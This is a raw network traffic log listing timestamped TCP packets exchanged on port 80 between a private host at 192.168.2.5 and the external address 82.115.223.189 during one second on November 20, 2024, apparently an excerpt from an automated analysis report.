Nov 20, 2024 07:48:02.788122892 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.836194038 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836239100 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836297989 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836350918 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.836353064 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836406946 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836421013 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.836462975 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836498022 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836534023 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.836534977 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836585045 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.836592913 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836646080 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836680889 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836693048 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.836716890 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836750984 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836760044 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.836786032 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836828947 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.836836100 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836870909 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836914062 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.836925030 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836960077 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.836992025 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837006092 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837025881 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837059975 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837070942 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837093115 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837126017 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837143898 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837161064 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837193966 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837219954 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837225914 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837275028 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837280035 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837315083 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837347984 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837357044 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837380886 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837410927 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837425947 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837460041 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837493896 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837510109 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837528944 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837567091 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837585926 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837604046 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837647915 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837656021 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837743998 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837778091 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837791920 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837810993 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837843895 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837866068 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837896109 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837929964 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.837940931 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.837985992 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838021040 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838027954 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838072062 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838131905 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838134050 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838181973 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838217020 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838227987 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838249922 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838287115 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838293076 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838320971 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838354111 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838367939 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838387012 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838419914 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838432074 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838452101 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838485003 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838494062 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838517904 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838553905 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838562012 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838587999 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838623047 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838633060 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838655949 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838690996 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838711023 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838723898 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838757038 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838766098 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838790894 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838824034 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838835001 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838876963 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838911057 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838920116 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838948011 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838972092 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.838982105 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.838994026 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839011908 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839045048 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839056969 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839078903 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839112043 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839123011 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839144945 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839178085 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839204073 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839211941 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839245081 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839257956 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839279890 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839312077 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839339018 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839374065 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839407921 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839417934 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839442015 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839476109 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839485884 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839509964 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839543104 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839551926 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839581013 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839615107 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839622974 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839648962 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839680910 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839692116 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839715958 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839749098 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839757919 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839782953 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839814901 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839824915 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839848995 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839880943 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839891911 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839915037 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839946985 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.839958906 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.839982986 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.840014935 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.840020895 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.840049982 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.840082884 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.840094090 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.840116024 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.840148926 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.840153933 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.840184927 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.840226889 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.840943098 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.878401995 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.878456116 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.878472090 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.878488064 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.878504992 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.878521919 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.878537893 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.878555059 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.878726006 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.926748037 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.926822901 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.926886082 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.926887035 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.926940918 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.926981926 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.926990986 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.927036047 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927069902 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927084923 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.927103996 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927138090 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927149057 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.927190065 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927234888 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.927252054 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927301884 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927352905 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.927366018 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927400112 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927445889 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.927452087 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927510023 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927561998 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.927563906 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927597046 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927630901 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927661896 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.927664995 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927700996 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927717924 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.927755117 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927788973 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927803993 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.927838087 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927870989 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927885056 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.927903891 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927937031 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.927942038 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.927969933 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928013086 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.928020000 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928056955 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928102970 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.928107977 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928142071 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928184986 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.928195953 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928253889 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928297997 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.928306103 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928355932 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928388119 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928401947 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.928425074 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928458929 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928479910 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.928493023 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928528070 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928536892 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.928561926 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928608894 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.928612947 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928663969 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928697109 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928709984 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.928730965 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928764105 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928776026 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.928822041 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928854942 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928873062 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.928905010 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928941011 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.928955078 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.928972960 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929007053 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929018021 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929035902 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929069042 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929080009 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929104090 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929136038 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929145098 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929168940 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929200888 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929212093 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929234982 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929267883 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929289103 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929301977 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929335117 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929348946 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929368019 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929399967 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929409981 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929434061 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929462910 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929474115 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929496050 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929534912 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929538965 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929569006 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929604053 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929614067 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929636955 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929670095 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929681063 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929702997 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929735899 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929742098 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929769039 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929802895 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929810047 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929836988 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929869890 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929877996 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929899931 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929903984 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929935932 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.929944038 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.929969072 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930002928 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930011034 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.930035114 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930068016 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930083990 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.930103064 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930135965 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930149078 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.930170059 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930202961 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930217981 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.930234909 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930268049 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930285931 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.930299997 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930334091 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930341005 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.930366039 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930398941 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930408001 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.930432081 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930464029 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930474043 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.930496931 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930533886 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930540085 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.930567026 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930602074 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930608034 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.930634975 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930669069 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930680037 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.930701971 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930737019 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.930744886 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.931931973 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.968892097 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.968983889 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.969044924 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.969079971 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.969114065 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.969119072 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.969149113 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.969156027 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.969177008 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.969183922 CET	80	49704	82.115.223.189	192.168.2.5
